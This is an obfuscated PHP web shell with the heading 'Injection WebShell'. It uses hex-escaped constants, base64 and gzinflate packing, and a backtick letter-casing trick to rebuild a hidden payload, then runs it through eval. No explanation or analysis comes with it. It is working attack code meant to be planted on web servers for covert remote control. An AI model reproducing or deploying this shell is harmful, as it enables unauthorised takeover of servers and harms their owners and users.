Injection WebShell

<?php if((preg_match(base64_decode('L2V2YWwvCg=='),file_get_contents(__FILE__)))&&(function_exists(soundex('cyber173_decode')))){define("\x43\x59\x42\x45\x52\x31\x37\x33", "ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnCg==");define("\x57\x61\x73", "jVDPS8MwFL4P+j/kUGgKZUUQD4Yh`qycedErdvJYsfV2`dMSl9r3M49r+bthadBzGX5H2/3ke`cSdlaRdpZtt8C8bBtTHwIC0m`szZjyU66tJh6L/o1Arvaqjk/Y9Tq7f3xa5dlitc6`wq2y+fL5dZAk7+1Ptr4T1e0R`ySdRmXAR7UIP4y6+MQxiRBqhtL`bss4hicFsdfzUttIPd4rpwlsCMv2BjT6U5TupWDih10yfjI+F4afU`dUd9pBgx6MYq+CnTR8+6FtaS`qB30iEi/O8AOUK4N/f6Y84gk`h4hwN/WHy7oVRUEdWXa`vpLJNhoO1XuLS3cuz`vOFtO6qq/07AXnr3f4cBPFIph8`ag==");define("\x48\x65\x72\x65", "JykpKTsK");}function C163($Ox31,$Ox32,$Ox33){return base64_decode($Ox31).preg_replace_callback(urldecode('%7E%60%28%5B%61%2D%7A%5D%29%7E'),function($alpha){return strtoupper($alpha[1]);},$Ox32).base64_decode($Ox33);}class cyber173{function cyber173_encode(){$is = 'cyber173_code';$this->$is(eval(C163(CYBER173,Was,Here)));}function cyber173_code($x){return $x;}}$cyber173_encode = new cyber173();$cyber173_decode = "cyber173_encode";$cyber173_encode->$cyber173_decode(); ?>